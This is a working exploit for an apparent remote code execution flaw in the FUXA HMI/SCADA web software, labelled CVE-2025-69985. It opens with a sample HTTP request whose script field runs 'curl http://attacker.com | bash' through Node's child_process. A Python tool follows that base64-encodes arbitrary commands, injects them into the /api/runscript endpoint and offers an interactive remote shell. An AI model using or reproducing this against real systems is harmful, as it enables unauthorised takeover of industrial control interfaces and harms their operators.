Referer: http://<target-ip>/

POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}

import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """Verifica si el endpoint existe antes de atacar."""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # Payload mejorado: Encoding en Base64 para evitar romper el JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--cmd", help="Single command to execute")
    parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
    parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")

    args = parser.parse_args()
    exploit = FuxaExploit(args.url, args.proxy)

    Logger.info(f"Targeting: {args.url}")

    if args.interactive:
        Logger.success("Entering interactive mode. Type 'exit' to quit.")
        while True:
            try:
                cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
                if cmd.lower() in ['exit', 'quit']: break
                if not cmd: continue
                print(exploit.execute(cmd))
            except KeyboardInterrupt: break
    elif args.cmd:
        Logger.info(f"Executing: {args.cmd}")
        print(exploit.execute(args.cmd))
    else:
        parser.print_help()

if __name__ == "__main__":
    main()